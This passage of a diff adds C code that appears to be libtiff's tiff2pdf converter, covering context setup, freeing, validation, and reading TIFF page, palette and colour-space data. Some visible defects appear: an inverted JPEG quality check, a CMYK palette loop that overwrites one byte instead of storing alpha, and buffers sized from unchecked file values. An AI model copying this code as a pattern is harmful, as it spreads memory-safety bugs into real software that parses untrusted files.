+			sizeof(T2P));
+		return( (T2P*) NULL );
+	}
+	_TIFFmemset(t2p, 0x00, sizeof(T2P));
+	t2p->pdf_majorversion=1;
+	t2p->pdf_minorversion=1;
+	t2p->pdf_defaultxres=300.0;
+	t2p->pdf_defaultyres=300.0;
+	t2p->pdf_defaultpagewidth=612.0;
+	t2p->pdf_defaultpagelength=792.0;
+	t2p->pdf_xrefcount=3; /* Catalog, Info, Pages */
+	
+	return(t2p);
+}
+
+/*
+	This function frees a T2P context struct pointer and any allocated data fields of it.
+*/
+
+void t2p_free(T2P* t2p){
+
+	int i=0;
+
+	if(t2p != NULL){
+		if(t2p->pdf_xrefoffsets != NULL){
+			_TIFFfree( (tdata_t) t2p->pdf_xrefoffsets);
+		}
+		if(t2p->tiff_pages != NULL){
+			_TIFFfree( (tdata_t) t2p->tiff_pages);
+		}
+		for(i=0;i<t2p->tiff_pagecount;i++){
+			if(t2p->tiff_tiles[i].tiles_tiles != NULL){
+				_TIFFfree( (tdata_t) t2p->tiff_tiles[i].tiles_tiles);
+			}
+		}
+		if(t2p->tiff_tiles != NULL){
+			_TIFFfree( (tdata_t) t2p->tiff_tiles);
+		}
+		if(t2p->pdf_palette != NULL){
+			_TIFFfree( (tdata_t) t2p->pdf_palette);
+		}
+		if(t2p->pdf_fileid != NULL){
+			_TIFFfree( (tdata_t) t2p->pdf_fileid);
+		}
+		if(t2p->pdf_datetime != NULL){
+			_TIFFfree( (tdata_t) t2p->pdf_datetime);
+		}
+		if(t2p->pdf_creator != NULL){
+			_TIFFfree( (tdata_t) t2p->pdf_creator);
+		}
+		if(t2p->pdf_author != NULL){
+			_TIFFfree( (tdata_t) t2p->pdf_author);
+		}
+		if(t2p->pdf_title != NULL){
+			_TIFFfree( (tdata_t) t2p->pdf_title);
+		}
+		if(t2p->pdf_subject != NULL){
+			_TIFFfree( (tdata_t) t2p->pdf_subject);
+		}
+		if(t2p->pdf_keywords != NULL){
+			_TIFFfree( (tdata_t) t2p->pdf_keywords);
+		}
+#ifdef OJPEG_SUPPORT
+		if(t2p->pdf_ojpegdata != NULL){
+			_TIFFfree( (tdata_t) t2p->pdf_ojpegdata);
+		}
+#endif
+		_TIFFfree( (tdata_t) t2p );
+	}
+
+	return;
+}
+
+/*
+	This function validates the values of a T2P context struct pointer
+        before calling t2p_write_pdf with it.
+*/
+
+void t2p_validate(T2P* t2p){
+
+#ifdef JPEG_SUPPORT
+	if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){
+		if(t2p->pdf_defaultcompressionquality<100 ||
+			t2p->pdf_defaultcompressionquality<1){
+			t2p->pdf_defaultcompressionquality=0;
+		}
+	}
+#endif
+#ifdef ZIP_SUPPORT
+	if(t2p->pdf_defaultcompression==T2P_COMPRESS_ZIP){
+		switch (t2p->pdf_defaultcompressionquality){
+			case 1: case 10: case 11: case 12: case 13: case 14: case 15:
+			case 101: case 110: case 111: case 112: case 113: case 114: case 115:
+			case 201: case 210: case 211: case 212: case 213: case 214: case 215:
+			case 301: case 310: case 311: case 312: case 313: case 314: case 315:
+			case 401: case 410: case 411: case 412: case 413: case 414: case 415:
+			case 501: case 510: case 511: case 512: case 513: case 514: case 515:
+			case 601: case 610: case 611: case 612: case 613: case 614: case 615:
+			case 701: case 710: case 711: case 712: case 713: case 714: case 715:
+			case 801: case 810: case 811: case 812: case 813: case 814: case 815:
+			case 901: case 910: case 911: case 912: case 913: case 914: case 915:
+				break;
+			default:
+				t2p->pdf_defaultcompressionquality=0;
+		}
+		if(t2p->pdf_defaultcompressionquality%100 !=0){
+			TIFFError(
+				TIFF2PDF_MODULE, 
+				"PNG Group predictor differencing not implemented, assuming compresion quality %u", 
+				t2p->pdf_defaultcompressionquality);
+		}
+		t2p->pdf_defaultcompressionquality%=100;
+		if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;}
+	}
+#endif
+	(void)0;
+
+	return;
+}
+
+
+/*
+	This function scans the input TIFF file for pages.  It attempts
+        to determine which IFD's of the TIFF file contain image document
+        pages.  For each, it gathers some information that has to do
+        with the output of the PDF document as a whole.  
+*/
+
+void t2p_read_tiff_init(T2P* t2p, TIFF* input){
+
+	tdir_t directorycount=0;
+	tdir_t i=0;
+	uint16 pagen=0;
+	uint16 paged=0;
+	uint16 xuint16=0;
+
+	directorycount=TIFFNumberOfDirectories(input);
+	t2p->tiff_pages = (T2P_PAGE*) _TIFFmalloc(directorycount * sizeof(T2P_PAGE));
+	if(t2p->tiff_pages==NULL){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"Can't allocate %u bytes of memory for tiff_pages array, %s", 
+			directorycount * sizeof(T2P_PAGE), 
+			TIFFFileName(input));
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return;
+	}
+	_TIFFmemset( t2p->tiff_pages, 0x00, directorycount * sizeof(T2P_PAGE));
+	t2p->tiff_tiles = (T2P_TILES*) _TIFFmalloc(directorycount * sizeof(T2P_TILES));
+	if(t2p->tiff_tiles==NULL){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"Can't allocate %u bytes of memory for tiff_tiles array, %s", 
+			directorycount * sizeof(T2P_TILES), 
+			TIFFFileName(input));
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return;
+	}
+	_TIFFmemset( t2p->tiff_tiles, 0x00, directorycount * sizeof(T2P_TILES));
+	for(i=0;i<directorycount;i++){
+		uint32 subfiletype = 0;
+		
+		if(!TIFFSetDirectory(input, i)){
+			TIFFError(
+				TIFF2PDF_MODULE, 
+				"Can't set directory %u of input file %s", 
+				i,
+				TIFFFileName(input));
+			return;
+		}
+		if(TIFFGetField(input, TIFFTAG_PAGENUMBER, &pagen, &paged)){
+			if((pagen>paged) && (paged != 0)){
+				t2p->tiff_pages[t2p->tiff_pagecount].page_number = 
+					paged;
+			} else {
+				t2p->tiff_pages[t2p->tiff_pagecount].page_number = 
+					pagen;
+			}
+			goto ispage2;
+		}
+		if(TIFFGetField(input, TIFFTAG_SUBFILETYPE, &subfiletype)){
+			if ( ((subfiletype & FILETYPE_PAGE) != 0)
+                             || (subfiletype == 0)){
+				goto ispage;
+			} else {
+				goto isnotpage;
+			}
+		}
+		if(TIFFGetField(input, TIFFTAG_OSUBFILETYPE, &subfiletype)){
+			if ((subfiletype == OFILETYPE_IMAGE) 
+				|| (subfiletype == OFILETYPE_PAGE)
+				|| (subfiletype == 0) ){
+				goto ispage;
+			} else {
+				goto isnotpage;
+			}
+		}
+		ispage:
+		t2p->tiff_pages[t2p->tiff_pagecount].page_number=t2p->tiff_pagecount;
+		ispage2:
+		t2p->tiff_pages[t2p->tiff_pagecount].page_directory=i;
+		if(TIFFIsTiled(input)){
+			t2p->tiff_pages[t2p->tiff_pagecount].page_tilecount = 
+				TIFFNumberOfTiles(input);
+		}
+		t2p->tiff_pagecount++;
+		isnotpage:
+		(void)0;
+	}
+	
+	qsort((void*) t2p->tiff_pages, t2p->tiff_pagecount,
+              sizeof(T2P_PAGE), t2p_cmp_t2p_page);
+
+	for(i=0;i<t2p->tiff_pagecount;i++){
+		t2p->pdf_xrefcount += 5;
+		TIFFSetDirectory(input, t2p->tiff_pages[i].page_directory );
+		if((TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &xuint16)
+                    && (xuint16==PHOTOMETRIC_PALETTE))
+		   || TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)) {
+			t2p->tiff_pages[i].page_extra++;
+			t2p->pdf_xrefcount++;
+		}
+#ifdef ZIP_SUPPORT
+		if (TIFFGetField(input, TIFFTAG_COMPRESSION, &xuint16)) {
+                        if( (xuint16== COMPRESSION_DEFLATE ||
+                             xuint16== COMPRESSION_ADOBE_DEFLATE) && 
+                            ((t2p->tiff_pages[i].page_tilecount != 0) 
+                             || TIFFNumberOfStrips(input)==1) &&
+                            (t2p->pdf_nopassthrough==0)	){
+                                if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;}
+                        }
+                }
+#endif
+		if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION,
+                                 &(t2p->tiff_transferfunction[0]),
+                                 &(t2p->tiff_transferfunction[1]),
+                                 &(t2p->tiff_transferfunction[2]))) {
+			if(t2p->tiff_transferfunction[1] !=
+			   t2p->tiff_transferfunction[0]) {
+				t2p->tiff_transferfunctioncount = 3;
+				t2p->tiff_pages[i].page_extra += 4;
+				t2p->pdf_xrefcount += 4;
+			} else {
+				t2p->tiff_transferfunctioncount = 1;
+				t2p->tiff_pages[i].page_extra += 2;
+				t2p->pdf_xrefcount += 2;
+			}
+			if(t2p->pdf_minorversion < 2)
+				t2p->pdf_minorversion = 2;
+                } else {
+			t2p->tiff_transferfunctioncount=0;
+		}
+		if( TIFFGetField(
+			input, 
+			TIFFTAG_ICCPROFILE, 
+			&(t2p->tiff_iccprofilelength), 
+			&(t2p->tiff_iccprofile)) != 0){
+			t2p->tiff_pages[i].page_extra++;
+			t2p->pdf_xrefcount++;
+			if(t2p->pdf_minorversion<3){t2p->pdf_minorversion=3;}
+		}
+		t2p->tiff_tiles[i].tiles_tilecount=
+			t2p->tiff_pages[i].page_tilecount;
+		if( (TIFFGetField(input, TIFFTAG_PLANARCONFIG, &xuint16) != 0)
+			&& (xuint16 == PLANARCONFIG_SEPARATE ) ){
+				TIFFGetField(input, TIFFTAG_SAMPLESPERPIXEL, &xuint16);
+				t2p->tiff_tiles[i].tiles_tilecount/= xuint16;
+		}
+		if( t2p->tiff_tiles[i].tiles_tilecount > 0){
+			t2p->pdf_xrefcount += 
+				(t2p->tiff_tiles[i].tiles_tilecount -1)*2;
+			TIFFGetField(input, 
+				TIFFTAG_TILEWIDTH, 
+				&( t2p->tiff_tiles[i].tiles_tilewidth) );
+			TIFFGetField(input, 
+				TIFFTAG_TILELENGTH, 
+				&( t2p->tiff_tiles[i].tiles_tilelength) );
+			t2p->tiff_tiles[i].tiles_tiles = 
+			(T2P_TILE*) _TIFFmalloc(
+				t2p->tiff_tiles[i].tiles_tilecount 
+				* sizeof(T2P_TILE) );
+			if( t2p->tiff_tiles[i].tiles_tiles == NULL){
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_read_tiff_init, %s", 
+					t2p->tiff_tiles[i].tiles_tilecount * sizeof(T2P_TILE), 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+			}
+		}
+	}
+
+	return;
+}
+
+/*
+	This function is used by qsort to sort a T2P_PAGE* array of page structures by page number.
+*/
+
+int t2p_cmp_t2p_page(const void* e1, const void* e2){
+
+	return( ((T2P_PAGE*)e1)->page_number - ((T2P_PAGE*)e2)->page_number );
+}
+
+/*
+	This function sets the input directory to the directory of a given
+	page and determines information about the image.  It checks
+	the image characteristics to determine if it is possible to convert
+	the image data into a page of PDF output, setting values of the T2P
+	struct for this page.  It determines what color space is used in
+	the output PDF to represent the image.
+	
+	It determines if the image can be converted as raw data without
+	requiring transcoding of the image data.
+*/
+
+void t2p_read_tiff_data(T2P* t2p, TIFF* input){
+
+	int i=0;
+	uint16* r;
+	uint16* g;
+	uint16* b;
+	uint16* a;
+	uint16 xuint16;
+	uint16* xuint16p;
+	float* xfloatp;
+
+	t2p->pdf_transcode = T2P_TRANSCODE_ENCODE;
+	t2p->pdf_sample = T2P_SAMPLE_NOTHING;
+        t2p->pdf_switchdecode = t2p->pdf_colorspace_invert;
+        
+	
+	TIFFSetDirectory(input, t2p->tiff_pages[t2p->pdf_page].page_directory);
+
+	TIFFGetField(input, TIFFTAG_IMAGEWIDTH, &(t2p->tiff_width));
+	if(t2p->tiff_width == 0){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"No support for %s with zero width", 
+			TIFFFileName(input)	);
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return;
+	}
+
+	TIFFGetField(input, TIFFTAG_IMAGELENGTH, &(t2p->tiff_length));
+	if(t2p->tiff_length == 0){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"No support for %s with zero length", 
+			TIFFFileName(input)	);
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return;
+	}
+
+        if(TIFFGetField(input, TIFFTAG_COMPRESSION, &(t2p->tiff_compression)) == 0){
+                TIFFError(
+                        TIFF2PDF_MODULE, 
+                        "No support for %s with no compression tag", 
+                        TIFFFileName(input)     );
+                t2p->t2p_error = T2P_ERR_ERROR;
+                return;
+
+        }
+        if( TIFFIsCODECConfigured(t2p->tiff_compression) == 0){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"No support for %s with compression type %u:  not configured", 
+			TIFFFileName(input), 
+			t2p->tiff_compression	
+			);
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return;
+	
+	}
+
+	TIFFGetFieldDefaulted(input, TIFFTAG_BITSPERSAMPLE, &(t2p->tiff_bitspersample));
+	switch(t2p->tiff_bitspersample){
+		case 1:
+		case 2:
+		case 4:
+		case 8:
+			break;
+		case 0:
+			TIFFWarning(
+				TIFF2PDF_MODULE, 
+				"Image %s has 0 bits per sample, assuming 1",
+				TIFFFileName(input));
+			t2p->tiff_bitspersample=1;
+			break;
+		default:
+			TIFFError(
+				TIFF2PDF_MODULE, 
+				"No support for %s with %u bits per sample",
+				TIFFFileName(input),
+				t2p->tiff_bitspersample);
+			t2p->t2p_error = T2P_ERR_ERROR;
+			return;
+	}
+
+	TIFFGetFieldDefaulted(input, TIFFTAG_SAMPLESPERPIXEL, &(t2p->tiff_samplesperpixel));
+	if(t2p->tiff_samplesperpixel>4){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"No support for %s with %u samples per pixel",
+			TIFFFileName(input),
+			t2p->tiff_samplesperpixel);
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return;
+	}
+	if(t2p->tiff_samplesperpixel==0){
+		TIFFWarning(
+			TIFF2PDF_MODULE, 
+			"Image %s has 0 samples per pixel, assuming 1",
+			TIFFFileName(input));
+		t2p->tiff_samplesperpixel=1;
+	}
+	
+	if(TIFFGetField(input, TIFFTAG_SAMPLEFORMAT, &xuint16) != 0 ){
+		switch(xuint16){
+			case 0:
+			case 1:
+			case 4:
+				break;
+			default:
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"No support for %s with sample format %u",
+					TIFFFileName(input),
+					xuint16);
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+				break;
+		}
+	}
+	
+	TIFFGetFieldDefaulted(input, TIFFTAG_FILLORDER, &(t2p->tiff_fillorder));
+	
+        if(TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &(t2p->tiff_photometric)) == 0){
+                TIFFError(
+                        TIFF2PDF_MODULE, 
+                        "No support for %s with no photometric interpretation tag", 
+                        TIFFFileName(input)     );
+                t2p->t2p_error = T2P_ERR_ERROR;
+                return;
+
+        }
+        
+	switch(t2p->tiff_photometric){
+		case PHOTOMETRIC_MINISWHITE:
+		case PHOTOMETRIC_MINISBLACK: 
+			if (t2p->tiff_bitspersample==1){
+				t2p->pdf_colorspace=T2P_CS_BILEVEL;
+				if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){
+					t2p->pdf_switchdecode ^= 1;
+				}
+			} else {
+				t2p->pdf_colorspace=T2P_CS_GRAY;
+				if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){
+					t2p->pdf_switchdecode ^= 1;
+				} 
+			}
+			break;
+		case PHOTOMETRIC_RGB: 
+			t2p->pdf_colorspace=T2P_CS_RGB;
+			if(t2p->tiff_samplesperpixel == 3){
+				break;
+			}
+			if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){
+				if(xuint16==1)
+					goto photometric_palette;
+			}
+			if(t2p->tiff_samplesperpixel > 3) {
+				if(t2p->tiff_samplesperpixel == 4) {
+					t2p->pdf_colorspace = T2P_CS_RGB;
+					if(TIFFGetField(input,
+							TIFFTAG_EXTRASAMPLES,
+							&xuint16, &xuint16p)
+					   && xuint16 == 1) {
+						if(xuint16p[0] == EXTRASAMPLE_ASSOCALPHA){
+							t2p->pdf_sample=T2P_SAMPLE_RGBAA_TO_RGB;
+							break;
+						}
+						if(xuint16p[0] == EXTRASAMPLE_UNASSALPHA){
+							t2p->pdf_sample=T2P_SAMPLE_RGBA_TO_RGB;
+							break;
+						}
+						TIFFWarning(
+							TIFF2PDF_MODULE, 
+							"RGB image %s has 4 samples per pixel, assuming RGBA",
+							TIFFFileName(input));
+							break;
+					}
+					t2p->pdf_colorspace=T2P_CS_CMYK;
+					t2p->pdf_switchdecode ^= 1;
+					TIFFWarning(
+						TIFF2PDF_MODULE, 
+						"RGB image %s has 4 samples per pixel, assuming inverse CMYK",
+					TIFFFileName(input));
+					break;
+				} else {
+					TIFFError(
+						TIFF2PDF_MODULE, 
+						"No support for RGB image %s with %u samples per pixel", 
+						TIFFFileName(input), 
+						t2p->tiff_samplesperpixel);
+					t2p->t2p_error = T2P_ERR_ERROR;
+					break;
+				}
+			} else {
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"No support for RGB image %s with %u samples per pixel", 
+					TIFFFileName(input), 
+					t2p->tiff_samplesperpixel);
+				t2p->t2p_error = T2P_ERR_ERROR;
+				break;
+			}
+		case PHOTOMETRIC_PALETTE: 
+			photometric_palette:
+			if(t2p->tiff_samplesperpixel!=1){
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"No support for palettized image %s with not one sample per pixel", 
+					TIFFFileName(input), 
+					t2p->tiff_samplesperpixel);
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+			}
+			t2p->pdf_colorspace=T2P_CS_RGB | T2P_CS_PALETTE;
+			t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample;
+			if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b)){
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"Palettized image %s has no color map", 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+			} 
+			if(t2p->pdf_palette != NULL){
+				_TIFFfree(t2p->pdf_palette);
+				t2p->pdf_palette=NULL;
+			}
+			t2p->pdf_palette = (unsigned char*)
+				_TIFFmalloc(t2p->pdf_palettesize*3);
+			if(t2p->pdf_palette==NULL){
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", 
+					t2p->pdf_palettesize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+			}
+			for(i=0;i<t2p->pdf_palettesize;i++){
+				t2p->pdf_palette[(i*3)]  = (unsigned char) (r[i]>>8);
+				t2p->pdf_palette[(i*3)+1]= (unsigned char) (g[i]>>8);
+				t2p->pdf_palette[(i*3)+2]= (unsigned char) (b[i]>>8);
+			}
+			t2p->pdf_palettesize *= 3;
+			break;
+		case PHOTOMETRIC_SEPARATED:
+			if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){
+				if(xuint16==1){
+						goto photometric_palette_cmyk;
+				}
+			}
+			if( TIFFGetField(input, TIFFTAG_INKSET, &xuint16) ){
+				if(xuint16 != INKSET_CMYK){
+					TIFFError(
+						TIFF2PDF_MODULE, 
+						"No support for %s because its inkset is not CMYK",
+						TIFFFileName(input) );
+					t2p->t2p_error = T2P_ERR_ERROR;
+					return;
+				}
+			}
+			if(t2p->tiff_samplesperpixel==4){
+				t2p->pdf_colorspace=T2P_CS_CMYK;
+			} else {
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"No support for %s because it has %u samples per pixel",
+					TIFFFileName(input), 
+					t2p->tiff_samplesperpixel);
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+			}
+			break;
+			photometric_palette_cmyk:
+			if(t2p->tiff_samplesperpixel!=1){
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"No support for palettized CMYK image %s with not one sample per pixel", 
+					TIFFFileName(input), 
+					t2p->tiff_samplesperpixel);
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+			}
+			t2p->pdf_colorspace=T2P_CS_CMYK | T2P_CS_PALETTE;
+			t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample;
+			if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b, &a)){
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"Palettized image %s has no color map", 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+			} 
+			if(t2p->pdf_palette != NULL){
+				_TIFFfree(t2p->pdf_palette);
+				t2p->pdf_palette=NULL;
+			}
+			t2p->pdf_palette = (unsigned char*) 
+				_TIFFmalloc(t2p->pdf_palettesize*4);
+			if(t2p->pdf_palette==NULL){
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", 
+					t2p->pdf_palettesize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+			}
+			for(i=0;i<t2p->pdf_palettesize;i++){
+				t2p->pdf_palette[(i*4)]  = (unsigned char) (r[i]>>8);
+				t2p->pdf_palette[(i*4)+1]= (unsigned char) (g[i]>>8);
+				t2p->pdf_palette[(i*4)+2]= (unsigned char) (b[i]>>8);
+				t2p->pdf_palette[(i*4)+2]= (unsigned char) (a[i]>>8);
+			}
+			t2p->pdf_palettesize *= 4;
+			break;
+		case PHOTOMETRIC_YCBCR:
+			t2p->pdf_colorspace=T2P_CS_RGB;
+			if(t2p->tiff_samplesperpixel==1){
+				t2p->pdf_colorspace=T2P_CS_GRAY;
+				t2p->tiff_photometric=PHOTOMETRIC_MINISBLACK;
+				break;
+			}
+			t2p->pdf_sample=T2P_SAMPLE_YCBCR_TO_RGB;
+#ifdef JPEG_SUPPORT
+			if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){
+				t2p->pdf_sample=T2P_SAMPLE_NOTHING;
+			}
+#endif
+			break;
+		case PHOTOMETRIC_CIELAB:
+			t2p->pdf_labrange[0]= -127;
+			t2p->pdf_labrange[1]= 127;
+			t2p->pdf_labrange[2]= -127;
+			t2p->pdf_labrange[3]= 127;
+			t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED;
+			t2p->pdf_colorspace=T2P_CS_LAB;
+			break;
+		case PHOTOMETRIC_ICCLAB:
+			t2p->pdf_labrange[0]= 0;
+			t2p->pdf_labrange[1]= 255;
+			t2p->pdf_labrange[2]= 0;
+			t2p->pdf_labrange[3]= 255;
+			t2p->pdf_colorspace=T2P_CS_LAB;
+			break;
+		case PHOTOMETRIC_ITULAB:
+			t2p->pdf_labrange[0]=-85;
+			t2p->pdf_labrange[1]=85;
+			t2p->pdf_labrange[2]=-75;
+			t2p->pdf_labrange[3]=124;
+			t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED;
+			t2p->pdf_colorspace=T2P_CS_LAB;
+			break;
+		case PHOTOMETRIC_LOGL:
+		case PHOTOMETRIC_LOGLUV:
+			TIFFError(
+				TIFF2PDF_MODULE, 
+				"No support for %s with photometric interpretation LogL/LogLuv", 
+				TIFFFileName(input),
+				t2p->tiff_photometric);
+			t2p->t2p_error = T2P_ERR_ERROR;
+			return;
+		default:
+			TIFFError(
+				TIFF2PDF_MODULE, 
+				"No support for %s with photometric interpretation %u", 
+				TIFFFileName(input),
+				t2p->tiff_photometric);
+			t2p->t2p_error = T2P_ERR_ERROR;
+			return;
+	}
+
+	if(TIFFGetField(input, TIFFTAG_PLANARCONFIG, &(t2p->tiff_planar))){
+		switch(t2p->tiff_planar){
+			case 0:
+				TIFFWarning(
+					TIFF2PDF_MODULE, 
+					"Image %s has planar configuration 0, assuming 1", 
+					TIFFFileName(input));
+				t2p->tiff_planar=PLANARCONFIG_CONTIG;
+			case PLANARCONFIG_CONTIG:
+				break;
+			case PLANARCONFIG_SEPARATE:
+				t2p->pdf_sample=T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG;
+				if(t2p->tiff_bitspersample!=8){
+					TIFFError(
+						TIFF2PDF_MODULE, 
+						"No support for %s with separated planar configuration and %u bits per sample", 
+						TIFFFileName(input),
+						t2p->tiff_bitspersample);
+					t2p->t2p_error = T2P_ERR_ERROR;
+					return;
+				}
+				break;
+			default:
+				TIFFError(
+					TIFF2PDF_MODULE, 
+					"No support for %s with planar configuration %u", 
+					TIFFFileName(input),
+					t2p->tiff_planar);
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+		}
+	}
+
+        TIFFGetFieldDefaulted(input, TIFFTAG_ORIENTATION,
+                              &(t2p->tiff_orientation));
+        if(t2p->tiff_orientation>8){
+                TIFFWarning(TIFF2PDF_MODULE,
+                            "Image %s has orientation %u, assuming 0",
+                            TIFFFileName(input), t2p->tiff_orientation);
+                t2p->tiff_orientation=0;
+        }
+
+        if(TIFFGetField(input, TIFFTAG_XRESOLUTION, &(t2p->tiff_xres) ) == 0){
+                t2p->tiff_xres=0.0;
+        }
+        if(TIFFGetField(input, TIFFTAG_YRESOLUTION, &(t2p->tiff_yres) ) == 0){
+                t2p->tiff_yres=0.0;
+        }
+	TIFFGetFieldDefaulted(input, TIFFTAG_RESOLUTIONUNIT, &(t2p->tiff_resunit) );
+	if(t2p->tiff_resunit==RESUNIT_CENTIMETER){
+		t2p->tiff_xres*=2.54F;
+		t2p->tiff_yres*=2.54F;
+	} else if (t2p->tiff_resunit!=RESUNIT_INCH && t2p->pdf_centimeters!=0){
+		t2p->tiff_xres*=2.54F;
+		t2p->tiff_yres*=2.54F;
+	}
+
+	t2p_compose_pdf_page(t2p);
+
+	t2p->pdf_transcode = T2P_TRANSCODE_ENCODE;
+	if(t2p->pdf_nopassthrough==0){
+#ifdef CCITT_SUPPORT
+		if(t2p->tiff_compression==COMPRESSION_CCITTFAX4  
+			){
+			if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){
+				t2p->pdf_transcode = T2P_TRANSCODE_RAW;
+				t2p->pdf_compression=T2P_COMPRESS_G4;
+			}
+		}
+#endif
+#ifdef ZIP_SUPPORT
+		if(t2p->tiff_compression== COMPRESSION_ADOBE_DEFLATE 
+			|| t2p->tiff_compression==COMPRESSION_DEFLATE){
+			if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){
+				t2p->pdf_transcode = T2P_TRANSCODE_RAW;
+				t2p->pdf_compression=T2P_COMPRESS_ZIP;
+			}
+		}
+#endif
+#ifdef OJPEG_SUPPORT
+		if(t2p->tiff_compression==COMPRESSION_OJPEG){
+			t2p->pdf_transcode = T2P_TRANSCODE_RAW;
+			t2p->pdf_compression=T2P_COMPRESS_JPEG;
+			t2p_process_ojpeg_tables(t2p, input);
+		}
+#endif
+#ifdef JPEG_SUPPORT
+		if(t2p->tiff_compression==COMPRESSION_JPEG){
+			t2p->pdf_transcode = T2P_TRANSCODE_RAW;
+			t2p->pdf_compression=T2P_COMPRESS_JPEG;
+		}
+#endif
+		(void)0;
+	}
+
+	if(t2p->pdf_transcode!=T2P_TRANSCODE_RAW){
+		t2p->pdf_compression = t2p->pdf_defaultcompression;
+	}
+
+#ifdef JPEG_SUPPORT
+	if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){
+		if(t2p->pdf_colorspace & T2P_CS_PALETTE){
+			t2p->pdf_sample|=T2P_SAMPLE_REALIZE_PALETTE;
+			t2p->pdf_colorspace ^= T2P_CS_PALETTE;
+			t2p->tiff_pages[t2p->pdf_page].page_extra--;
+		}
+	}
+	if(t2p->tiff_compression==COMPRESSION_JPEG){
+		if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){
+			TIFFError(
+				TIFF2PDF_MODULE, 
+				"No support for %s with JPEG compression and separated planar configuration", 
+				TIFFFileName(input));
+				t2p->t2p_error=T2P_ERR_ERROR;
+			return;
+		}
+	}
+#endif
+#ifdef OJPEG_SUPPORT
+	if(t2p->tiff_compression==COMPRESSION_OJPEG){
+		if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){
+			TIFFError(
+				TIFF2PDF_MODULE, 
+				"No support for %s with OJPEG compression and separated planar configuration", 
+				TIFFFileName(input));
+				t2p->t2p_error=T2P_ERR_ERROR;
+			return;
+		}
+	}
+#endif
+
+	if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){
+		if(t2p->pdf_colorspace & T2P_CS_CMYK){
+			t2p->tiff_samplesperpixel=4;
+			t2p->tiff_photometric=PHOTOMETRIC_SEPARATED;
+		} else {
+			t2p->tiff_samplesperpixel=3;
+			t2p->tiff_photometric=PHOTOMETRIC_RGB;
+		}
+	}
+
+	if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION,
+			 &(t2p->tiff_transferfunction[0]),
+			 &(t2p->tiff_transferfunction[1]),
+			 &(t2p->tiff_transferfunction[2]))) {
+		if(t2p->tiff_transferfunction[1] !=
+		   t2p->tiff_transferfunction[0]) {
+			t2p->tiff_transferfunctioncount=3;
+		} else {
+			t2p->tiff_transferfunctioncount=1;
+		}
+	} else {
+		t2p->tiff_transferfunctioncount=0;
+	}
+	if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp)!=0){
+		t2p->tiff_whitechromaticities[0]=xfloatp[0];
+		t2p->tiff_whitechromaticities[1]=xfloatp[1];
+		if(t2p->pdf_colorspace & T2P_CS_GRAY){
+			t2p->pdf_colorspace |= T2P_CS_CALGRAY;
+		}
+		if(t2p->pdf_colorspace & T2P_CS_RGB){
+			t2p->pdf_colorspace |= T2P_CS_CALRGB;
+		}
+	}
+	if(TIFFGetField(input, TIFFTAG_PRIMARYCHROMATICITIES, &xfloatp)!=0){
+		t2p->tiff_primarychromaticities[0]=xfloatp[0];
+		t2p->tiff_primarychromaticities[1]=xfloatp[1];
